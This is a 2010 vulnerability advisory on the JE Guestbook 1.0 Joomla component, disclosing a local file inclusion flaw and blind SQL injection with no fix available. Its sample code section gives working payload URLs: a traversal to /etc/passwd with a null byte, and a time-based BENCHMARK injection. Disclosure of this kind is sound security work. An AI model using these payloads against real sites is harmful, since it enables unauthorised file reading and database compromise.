JE Guestbook 1.0 Joomla Component Multiple Remote Vulnerabilities

 Name              JE Guestbook
 Vendor            http://www.joomlaextensions.co.in
 Versions Affected 1.0

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-09-30

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX


I. ABOUT THE APPLICATION
________________________

JE Guest  Component  is  an open source Joomla guestbook
component  with  spam protection  and many customization
options.


II. DESCRIPTION
_______________

Some parameters are not properly sanitised.


III. ANALYSIS
_____________

Summary:

 A) Local File Inclusion
 B) Multiple Blind SQL Injection


A) Local File Inclusion
_______________________

Input passed to the "view" parameter in  jeguestbook.php
(when option is set to com_jeguestbook)  is not properly
verified before being used to include files. This can be
exploited   to   include   arbitrary  files  from  local
resources    via   directory   traversal   attacks   and
URL-encoded NULL bytes.


B) Multiple Blind SQL Injection
_______________________________

Many parameters are not properly sanitised before being
used in SQL queries.This can be exploited to manipulate
SQL queries by injecting arbitrary SQL code.


IV. SAMPLE CODE
_______________

A) Local File Inclusion

http://site/path/index.php?option=com_jeguestbook&view=../../../../../../../../etc/passwd%00


B) Multiple Blind SQL Injection

http://site/path/index.php?option=com_jeguestbook&view=item_detail&d_itemid=-1 OR (SELECT(IF(0x41=0x41, BENCHMARK(999999999,NULL),NULL)))


V. FIX
______

No fix.